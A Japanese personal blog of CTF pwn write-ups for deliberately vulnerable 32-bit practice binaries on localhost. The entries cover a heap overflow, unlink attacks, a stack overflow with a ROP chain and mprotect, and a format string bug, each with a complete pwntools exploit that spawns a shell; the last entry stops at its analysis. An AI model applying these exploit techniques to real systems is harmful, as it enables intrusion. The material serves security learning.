mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwn challenges list easy PWN200

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ file heaptaskforbin | sed -e 's/,/\n/g'
heaptaskforbin: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.15
 BuildID[sha1]=60830f78c4331bce955103f8cf77e1e5c47e361d
 stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ checksec.sh --file heaptaskforbin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   heaptaskforbin

解析

引数にポート番号を指定して実行すると,指定したポートで接続を待ち受ける.nc コマンドで接続すると次のようなメニューが表示された.(ここではポート番号22222を指定した)

mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ nc localhost 22222
Welcome
1 - save message
2 - show message
3 - append message
4 - rewrite message
5 - delete message

それぞれの処理は次の通り.
1. ユーザが入力したデータを保存.保存したデータのIDを返す.
2. 入力したIDのデータの内容を表示
3. 入力したIDのデータに追加でデータを保存.
4. 入力したIDのデータの内容を上書き.
5. 指定したIDのデータを削除

これらのデータはヒープ領域に保存されており,mallocとfreeで領域の確保や保存を行っている.
デバッガで解析していくと,メニューを表示する前に初期化処理のようなものが行われていた.
一定数領域を確保し,ランダムな値を確保した領域に保存.その後いくつかの領域をfreeして解放.
このとき,flagファイルからflagをヒープ領域に読み込んでいる.

今回はflagが読み込まれたデータの中身が読めれば良いらしい.
このプログラムappendの処理で確保した領域のサイズを超えてデータの追加保存ができるため,appendでデータを追加してflagのデータとつなげてやって表示すれば良さそう.

Exploit

開放された領域にデータを新たに保存して,そのデータに少しずつ文字列を追加・表示.これをflagが出力されるまでそれぞれのでデータでやる.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = 'localhost'
port = 22222

conn = remote(host, port)

def save(message):
	conn.send("1\n")
	conn.recv()
	conn.send(message + "\n")
	conn.recvuntil("Message ID = ")
	heap_id = conn.recvline()

	return heap_id

def show(heap_id):
	conn.send("2\n")
	conn.recv()
	conn.send(heap_id + "\n") 
	conn.recvuntil("Your message:")
	message = conn.recvuntil("Welcome")[:-7]
	
	return message


def append(heap_id, add_message):
	conn.send("3\n")
	conn.recv()
	conn.send(heap_id + "\n") 
	conn.recv()
	conn.send(add_message)
	conn.recvuntil("Success")


heap_id_list = []
for i in range(20):
	message = "A" * 0x100
	heap_id_list.append(save(message))


for heap_id in heap_id_list:
	for i in range(0x100):
		add_message = "aa"
		append(heap_id, add_message)
		result = show(heap_id)
		if "flag" in result:
			print result
			exit()

結果

flagファイルの中身 flag desuyoが表示されることを確認した.

mattun-mart@4ctf:~/Workspace/pwn/easy/PWN200$ python exploit.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/mattun-mart/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.0)
[+] Opening connection to localhost on port 22222: Done

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa    aaflag desuyo

pwn challenges list easy ezhp

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ file ezhp | sed -e "s/,/\n/g"
ezhp: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.24
 BuildID[sha1]=76bda55f976430db3bea49b59ecd66040527fa9a
 stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ checksec.sh --file ezhp
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   ezhp

解析

動作させてみると,ノート管理を行のためのメニューが表示される.

Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

それぞれの処理は次の通り
1. heap領域から指定したサイズ領域を確保.領域にはidが0から振られる.
2. 指定したidの領域を解放.
3. 指定したidの領域に対して指定したサイズ分データを保存.
4. 指定したidの領域の内容を表示
5. プログラム終了

このプログラムはheapの管理が独自実装になっており,size,*fd,*bk,*char bufという感じで双方向リストで管理されている.
また,3の処理では確保してある領域のサイズより大きいサイズを指定することができるため,次のidの領域の内容を書き換えることが可能.
さらにこのプログラムは,解放処理で対象のチャンクPをリストから外す際に,p->fd->bk == p,p->bk->fd == pを確認していない.

以上のことから,unlink attackが可能.

Exploit

NXが無効化されているので,確保した領域にshellcodeを積んで実行することを考える.
Gotがシェルコードを指すようにしてあげることで,GOTが呼ばれたときにシェルコードが実行されるようにする.
次の図のような感じにした.

f:id:mattun_mart:20180411221613p:plain

unlink後はシェルコードを実行したいが,チャンクの先頭指すことになるためfdとbkが邪魔.
相対ジャンプでfdとbkを避けてあげることでシェルコードを実行させた.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

conn = process('./ezhp')
elf = ELF('./ezhp')
puts_got_addr = elf.got['puts']

shellcode = asm(shellcraft.sh())

# add_note id 0
conn.send("1\n")
conn.send("100\n")

# add_note id 1
conn.send("1\n")
conn.send("100\n")

# add_note id 2
conn.send("1\n")
conn.send("100\n")

# change note id 1
conn.send("3\n")
conn.send("0\n")
conn.send("112\n")

payload = "A" * 108
payload += "\x90\x90\xeb\x08" # jmp to shellcode 
payload += "\n"

conn.send(payload)

# change note id 1
conn.send("3\n")
conn.send("1\n")
conn.send("116\n")

payload = shellcode
payload += "A" * (112 - len(shellcode))
payload += p32(puts_got_addr - 8) # fd:got-8 fd->bk:got	
payload += "\n"

conn.send(payload)

# remove note id 2 (unlink attack)
conn.send("2\n")
conn.send("2\n")

conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ python exploit.py 
[+] Starting local process './ezhp': pid 25845
[*] '/home/mattun-mart/Workspace/pwn/easy/ezhp/ezhp'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me a size.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me a size.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me a size.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
Please give me a size.
Please input your data.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
Please give me a size.
Please input your data.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
$ ls
core                           ezhp.id1
dump                           ezhp.id2
exploit.py                       ezhp.nam
ezhp                           ezhp.til
ezhp-b502addeb274f41757555c05b08e3b05.tar.bz2  peda-session-ezhp.txt
ezhp.id0                       peda-session-ls.txt

pwn challenges list easy bin_pwn_300

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ file chal |sed -e "s/,/\n/g"
chal: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ checksec.sh --file chal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   chal

NX有効.

解析

straceで実行すると,ポート32000で待ち受けているので接続する.

mattun-mart@4ctf:~$ nc localhost 32000
aaaa
aaaaaaaaa
a

よくわからないので解析する.
解析した結果ざっくりしたプログラムの流れは以下の通り.
1. recv関数で0x10文字受け取り,改行文字に終端文字列を挿入.
2. 入力のうち改行文字までの文字列と(white,black,bintendo64,46odnetnib,hex,hax)とそれぞれ比較.一致していれば一致した名前の関数を実行.
3. 関数の処理結果をsend関数で送信.

それぞれの関数の処理内容は以下のような感じ.

white

入力された文字の値を" "と"\t"に変換して表現.
ex. A → 41 →01000001 → "_\t_____\t"(スペースは_で表している)
1. 入力を受け取り.
2. 入力された文字列の1文字目の値の1bit目が1であれば"\t",0であれば" "をバッファに保存
3. 1文字目の値を1bit右シフト
4. 8bit分2,3の処理を繰り返した後に,対象文字を次の文字列へ

black

whiteの逆変換
1. 入力を受け取り.
2. 入力された文字列" "だったら0,"\t"だったら1をバッファに保存
3. 8bit分2の処理を繰り返し,結果をバッファに保存.
ただし,入力が0x200分あれば入力された文字列に対する処理が終わった後に再度入力を受け取り同じ処理を実施する.(最大10回可能)

bintendo64

入力された文字列をbase64エンコード

46odnetnib

入力されたbase64文字列をデコード

hex

pythonでいうord()

hax

pythonでいうchr()

どこにバグがあるかというとblack関数.
変換結果の保存先のバッファのアドレスがリターンアドレスの保存先に近いため,入力が多いと書き換えが可能.
その差は0x210.
一回でバッファに保存できるサイズは0x40(0x200/8)ので,9回目の入力の途中から書き換えが可能.

Exploit

このプログラムは文字列を読み込むための関数中でmprotect関数が使われているためNXを回避できる.
そのため,mprotect関数でどこかしらの領域を実行可能にしてシェルコードを実行すれば良い.
書き込めるサイズは0x70byte分と小さく,スタックにシェルコードを積むとサイズオーバーしてしまうので,bss領域にシェルコードを積んで実行する.
あとはpayloadを" "と"\t"の組み合わせの文字列に変換して送ってやればよい.(mprotectに指定するアドレスはページ境界なことに注意)

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
#context. log_level = 'debug'


def conv_format(buf):
	result = ""

	for i in buf:
		code = ord(i)
		for j in range(8):
			if code<<j & 0x80:
				result += "\t"
			else:
				result += " "
	
	return result 


host = 'localhost'
port = 32000

conn = remote(host, port)
elf = ELF("./chal")

shellcode = asm(shellcraft.sh())	

recv_plt_addr = elf.plt['recv']
mprotect_plt_addr = elf.plt['mprotect']
send_plt_addr = elf.plt['send']
pop4ret = 0x080496a0
pop3ret = 0x080496a1
bss = 0x0804b000

# fast input
payload = "black\n" + "A" * 10
conn.send(payload)

# second input
# (black input)
payload = "A" * 0x210 # padding  

# mprotect(bss,0x1000,7)
payload += p32(mprotect_plt_addr)
payload += p32(pop3ret)
payload += p32(bss)
payload += p32(0x1000)
payload += p32(7)

# recv(4,bss+0x200,len(shellcode),0)
payload += p32(recv_plt_addr)
payload += p32(pop4ret)
payload += p32(4)
payload += p32(bss+ 0x200)
payload += p32(len(shellcode))
payload += p32(0)

# stored shellcode
payload += p32(bss + 0x200)
payload += "A" * (0x280 - len(payload))

conn.send(conv_format(payload))

conn.send(shellcode)
conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ python exploit.py 
[+] Opening connection to localhost on port 32000: Done
[*] '/home/mattun-mart/Workspace/pwn/easy/bin_pwn_300/chal'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
chal
chal.i64
chal.id0
chal.id1
chal.id2
chal.nam
chal.til
dump
exploit.py
memo.c
peda-session-chal.txt

pwn challenges list easy heap

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ file heap | sed -e "s/,/\n/g"
heap: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.24
 BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5
 not stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ checksec.sh --file heap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   heap

NX有効.

解析

さっそく起動してみる.
20個オブジェクトを割り当てたと出力が出て260バイトのサイズで入力を求められるので271バイト送ってみる.
割り当てた領域を11個目のオブジェクトを開放する際にプログラムが落ちている.

mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ ./heap

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=8E2D008][size=1246]
[ALLOC][loc=8E2D4F0][size=1121]
[ALLOC][loc=8E2D958][size=947]
[ALLOC][loc=8E2DD10][size=741]
[ALLOC][loc=8E2E000][size=706]
[ALLOC][loc=8E2E2C8][size=819]
[ALLOC][loc=8E2E600][size=673]
[ALLOC][loc=8E2E8A8][size=1004]
[ALLOC][loc=8E2EC98][size=952]
[ALLOC][loc=8E2F058][size=755]
[ALLOC][loc=8E2F350][size=260]
[ALLOC][loc=8E2F458][size=877]
[ALLOC][loc=8E2F7D0][size=1245]
[ALLOC][loc=8E2FCB8][size=1047]
[ALLOC][loc=8E300D8][size=1152]
[ALLOC][loc=8E30560][size=1047]
[ALLOC][loc=8E30980][size=1059]
[ALLOC][loc=8E30DA8][size=906]
[ALLOC][loc=8E31138][size=879]
[ALLOC][loc=8E314B0][size=823]
Write to object [size=260]:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Copied 271 bytes.
[FREE][address=8E2D008]
[FREE][address=8E2D4F0]
[FREE][address=8E2D958]
[FREE][address=8E2DD10]
[FREE][address=8E2E000]
[FREE][address=8E2E2C8]
[FREE][address=8E2E600]
[FREE][address=8E2E8A8]
[FREE][address=8E2EC98]
[FREE][address=8E2F058]
[FREE][address=8E2F350]
Segmentation fault (コアダンプ)

てことでデバッガで追ってみると,次のような処理をしていた.
1. 乱数により生成されたサイズ分(毎回固定),mallocで領域確保.ただし11個目のサイズは0x104で固定
2. 確保した領域のアドレスとサイズをスタックに保存.
3. ユーザからの入力をサイズ0x1000で受け取り.
4. ユーザから受け取った入力をmemcpy関数で11個目の確保領域にコピー.(ここでヒープオーバーフローが起こせる)
5. 各領域を確保した順にfree関数で解放

heap関連はあまり経験がないので,ここからbataさんの資料等を参考に進めている.
最初の出力でもわかるがここで使われているmalloc関連の関数はDougle Lee Allocator 2.6.1を用いているらしい.
http://gee.cs.oswego.edu/pub/misc/malloc-2.6.1.c
この Dougle Lee Allocator 2.6.1のfree()の際のunlinkは下記のようになっている.
しかし,古き良き時代のものなので,Ful->bk == p, Bul->fd == pの判定が入っておらず簡単にunlink attackができる.

#define unlink(p)                                                   
{                                                                            
  mchunkptr Bul = (p)->bk;                                   
  mchunkptr Ful = (p)->fd;                                      
  Ful->bk = Bul;  Bul->fd = Ful;                              
}                                                                             

ついでにこのプログラム,割当ての際にheap領域が実行可能になるらしい.
NXが有効にもかかわらず,heap領域に限っては自前のシェルコードが実行できる.

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x0804b000 r-xp	/home/mattun-mart/Workspace/pwn/easy/heap/heap
0x0804b000 0x0804c000 r--p	/home/mattun-mart/Workspace/pwn/easy/heap/heap
0x0804c000 0x0804d000 rw-p	/home/mattun-mart/Workspace/pwn/easy/heap/heap
0x0804d000 0x08051000 rwxp	[heap]
0xf7e05000 0xf7e06000 rw-p	mapped
0xf7e06000 0xf7fb6000 r-xp	/lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb8000 r--p	/lib/i386-linux-gnu/libc-2.23.so
0xf7fb8000 0xf7fb9000 rw-p	/lib/i386-linux-gnu/libc-2.23.so
0xf7fb9000 0xf7fbc000 rw-p	mapped
0xf7fd4000 0xf7fd5000 rw-p	mapped
0xf7fd5000 0xf7fd8000 r--p	[vvar]
0xf7fd8000 0xf7fd9000 r-xp	[vdso]
0xf7fd9000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p	/lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p	/lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rw-p	[stack]

Exploit

方針としては,
1. ヒープオーバーフローで入力に12個目の領域のsize,fb,bkを書き換え.またシェルコードを積んでおく.
2. 11個目の領域をfree()で解放するときにunlink attackでGOT領域の関数をシェルコードに向ける.
3. GOT関数が呼び出された際に,シェルコード実行.

図にするとこんな感じ.
f:id:mattun_mart:20180329182847p:plain
うまく12個目のchunkをfreeさせるために,12個目のチャンクのprev_inuseの値を1にするのと,13個目のチャンク(array12_addr + sizeで位置を計算可)のprev_inuseの値を0にするのを忘れずに.
最終的には以下のようなExploitコードになった.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

conn = process('./heap')
elf = ELF('./heap')
printf_got_addr = elf.got['printf']

heap_addr = int(conn.recvuntil('size=260')[-17:-10],16)
shellcode = asm(shellcraft.sh())
buf_size = 0x104

payload = "\xeb\x10" 				# jmp 0x10 p->bk->fd = p->fdの際に入力内容が一部アドレスで書き換わるのでjmpで避ける.
payload = "A" * (0x10 - len(payload))
payload += shellcode
payload += "A" * (buf_size - len(payload))
payload += p32(0x11)                            # size chunk12 prev_inuse = 1  chunk13 prev_inuse = 0
payload += p32(printf_got_addr - 8)             # fb
payload += p32(heap_addr) 	                # bk
payload += "\n"

conn.send(payload)
conn.recv()
conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ python exploit.py 
[+] Starting local process './heap': pid 13042
[*] '/home/mattun-mart/Workspace/pwn/easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
]
[ALLOC][loc=853F458][size=877]
[ALLOC][loc=853F7D0][size=1245]
[ALLOC][loc=853FCB8][size=1047]
[ALLOC][loc=85400D8][size=1152]
[ALLOC][loc=8540560][size=1047]
[ALLOC][loc=8540980][size=1059]
[ALLOC][loc=8540DA8][size=906]
[ALLOC][loc=8541138][size=879]
[ALLOC][loc=85414B0][size=823]
Write to object [size=260]:
Copied 273 bytes.
[FREE][address=853D008]
[FREE][address=853D4F0]
[FREE][address=853D958]
[FREE][address=853DD10]
[FREE][address=853E000]
[FREE][address=853E2C8]
[FREE][address=853E600]
[FREE][address=853E8A8]
[FREE][address=853EC98]
[FREE][address=853F058]
[FREE][address=853F350]
$ ls
core  exploit.py  heap.id0  heap.id2  heap.til
dump  heap      heap.id1  heap.nam  peda-session-heap.txt

今まで逆アセンブル結果はobjdumpの結果を見ていたが,今回はIDAを使ってみた.
制御フローが可視化されるのがとても良い.
この調子でheapの理解を深めていきたい.

pwnbaby easy ropasaurusrex

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ file ropasaurusrex | sed -e "s/,/\n/g"
ropasaurusrex: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.18
 BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092
 stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ checksec.sh --file ropasaurusrex 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   ropasaurusrex

NX有効.

解析

プログラムを起動すると入力待ちになる.大量に文字を入力してみるとプログラムが落ちる.

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ./ropasaurusrex 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

デバッガで追ってみるとread関数でバッファーオーバーフローが起きることがわかった.0x100文字分入力が可能だが,入力を格納する領域0xffffd084+0x8Cの位置にリターンアドレスが格納されているため,
0x8c(140)を超えて入力してしまうとリターンアドレスが上書きされてしまう.

[----------------------------------registers-----------------------------------]
EAX: 0xffffd090 --> 0x0 
EBX: 0x0 
ECX: 0xb5cd6f5c 
EDX: 0xffffd164 --> 0x0 
ESI: 0xf7fb9000 --> 0x1afdb0 
EDI: 0xf7fb9000 --> 0x1afdb0 
EBP: 0xffffd118 --> 0xffffd138 --> 0x0 
ESP: 0xffffd080 --> 0x0 
EIP: 0x8048416 (call   0x804832c <read@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048405:	lea    eax,[ebp-0x88]
   0x804840b:	mov    DWORD PTR [esp+0x4],eax
   0x804840f:	mov    DWORD PTR [esp],0x0
=> 0x8048416:	call   0x804832c <read@plt>
   0x804841b:	leave  
   0x804841c:	ret    
   0x804841d:	push   ebp
   0x804841e:	mov    ebp,esp
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xffffd090 --> 0x0 
arg[2]: 0x100 
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 --> 0x0 
0004| 0xffffd084 --> 0xffffd090 --> 0x0 
0008| 0xffffd088 --> 0x100 
0012| 0xffffd08c --> 0x1 
0016| 0xffffd090 --> 0x0 
0020| 0xffffd094 --> 0x1 
0024| 0xffffd098 --> 0xf7ffd918 --> 0x0 
0028| 0xffffd09c --> 0xf0b2ff 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048416 in ?? ()

ということでリターンアドレスは奪えたので後はどうにかしてシェルを起動してやれば良い.

Exploit

NXが有効になっておりシェルコードを積んでも実行出来ないので,libc内のsystem関数を呼び出してあげることにする.
プログラムではreadとwrite関数が利用されているのでこの2つを利用してアドレスのリークと書き換えを行う.
方針としては
1. write関数を用いてlibc内の関数をどれでもよいのでリーク
2. リークしたアドレスからlibc_baseのアドレスを計算.libc内のsystem関数のアドレスを計算.
3. read関数でGOT領域の関数をsystemに書き換え + 文字列/bin/shをどこかに格納
4. system関数に書き換えたGOT領域の関数を呼び出しシェルを起動.

ということで,必要なアドレスを集める.
リークするアドレスの関数はwrite関数にしたので(read関数とかでもよい),write_offset値,system_offset値を調べる.
ただし,実際はリモート環境で利用されているlibcを調べる必要がある.

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ldd ropasaurusrex | grep libc
	libc.so.6 => /lib32/libc.so.6 (0xf7589000)

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep write
0011ee00 T _IO_do_write
000694d0 T _IO_do_write
0011e830 T _IO_file_write
00068460 T _IO_file_write
0005e210 T _IO_fwrite
00063880 T _IO_wdo_write
000d2780 T __libc_pwrite
000d28d0 W __pwrite64
000d43c0 W __write
000e5770 T eventfd_write
0005e210 W fwrite
000673c0 T fwrite_unlocked
000e62b0 T process_vm_writev
000d2780 W pwrite
000d28d0 W pwrite64
000dd880 T pwritev
000dd940 T pwritev64
000d43c0 W write
000dd6b0 W writev

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep system
0003a940 T __libc_system
00110840 T svcerr_systemerr
0003a940 W system

ropで関数呼び出しを継続するときに,スタック内のread関数とwrite関数の引数(いずれも引数は3つ)が邪魔なので,この引数を取り除くためのpop3retをrp++を利用して調べる.

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ rp -f ropasaurusrex -r 3 --unique | grep pop
0x080483c1: add al, 0x5B ; pop ebp ; ret  ;  (2 found)
0x080483bf: add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (2 found)
0x080484b1: fiadd word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080483c0: les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (2 found)
0x08048451: mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x080482e8: pop eax ; pop ebx ; leave  ; ret  ;  (1 found)
0x080483c3: pop ebp ; ret  ;  (4 found)
0x080482e9: pop ebx ; leave  ; ret  ;  (2 found)
0x080483c2: pop ebx ; pop ebp ; ret  ;  (2 found)
0x08048504: pop ecx ; pop ebx ; leave  ; ret  ;  (1 found)
0x080484b7: pop edi ; pop ebp ; ret  ;  (1 found)
0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)         # これを利用する
0x08048450: push ebp ; mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x080483ba: sub byte [esi-0x7CFEF7FC], dl ; les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (1 found)

あとはExploit書くだけ.

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *

#context.log_level = 'debug'

conn = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')

write_plt_addr = elf.plt['write']
read_plt_addr = elf.plt['read']
write_got_addr = elf.got['write']
write_offset = 0x000d43c0
system_offset = 0x0003a940
binsh_offset = 0x15902b
pop3ret = 0x080484b6


# write(1,write_got_addr,4)
payload = "A" * 140
payload += p32(write_plt_addr)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(write_got_addr)
payload += p32(4)

# read(0,write_got_addr,12)
payload += p32(read_plt_addr)
payload += p32(pop3ret)
payload += p32(0)
payload += p32(write_got_addr)
payload += p32(12)

# system(/bin/sh)
payload += p32(write_plt_addr)
payload += "AAAA"
payload += p32(write_got_addr + 4)  # conn.send()で送るp32(system_addr)は4byteだから文字列"/bin/sh"の位置にずらす
payload += "\n"

conn.send(payload)

# culcurate libc
libc_write_addr = u32(conn.recv())
libc_base_addr = libc_write_addr - write_offset
system_addr = libc_base_addr + system_offset

conn.send(p32(system_addr) + b'/bin/sh\0') 
conn.interactive()

結果

とりあえずローカル環境.リモート環境でやりたいときはsocatとか使う.

mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ python exploit.py 
[+] Starting local process './ropasaurusrex': pid 26166
[*] '/home/mattun-mart/Workspace/pwn/easy/ropasaurusrex/ropasaurusrex'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
core        libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a    ropasaurusrex
dump        peda-session-dash.txt
exploit.py  peda-session-ropasaurusrex.txt

pwnlist baby greeting

下調べ

mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ file greeting |sed -e "s/,/\n/g"
greeting: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.24
 BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63
 not stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ checksec.sh --file greeting 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   greeting

NX,SSP有効.

解析

プログラムを実行すると名前の入力を求められる.
%pを入力してみる.どうやらFSBがあるらしい.

mattun-mart@4ctf:~/Workspace/pwn/baby/greeting$ ./greeting 
Hello, I'm nao!
Please tell me your name... AAAABBBBCCCC%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Nice to meet you, AAAABBBBCCCC0x80487d0,0xffa5b05c,(nil),(nil),(nil),(nil),0x6563694e,0x206f7420,0x7465656d,0x756f7920,0x4141202c,0x42424141,0x43434242 :)

また,objdumpで逆アセンブルした結果を見ているとnao関数の中にsystem関数を発見.

08048742 <nao>:
 8048742:       55                      push   ebp
 8048743:       89 e5                   mov    ebp,esp
 8048745:       83 ec 18                sub    esp,0x18
 8048748:       a1 80 9a 04 08          mov    eax,ds:0x8049a80
 804874d:       c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
 8048754:       00
 8048755:       89 04 24                mov    DWORD PTR [esp],eax
 8048758:       e8 e3 fc ff ff          call   8048440 <setbuf@plt>
 804875d:       a1 a0 9a 04 08          mov    eax,ds:0x8049aa0
 8048762:       c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
 8048769:       00
 804876a:       89 04 24                mov    DWORD PTR [esp],eax
 804876d:       e8 ce fc ff ff          call   8048440 <setbuf@plt>
 8048772:       c7 04 24 9c 87 04 08    mov    DWORD PTR [esp],0x804879c
 8048779:       e8 12 fd ff ff          call   8048490 <system@plt>
 804877e:       c9                      leave
 804877f:       c3                      ret

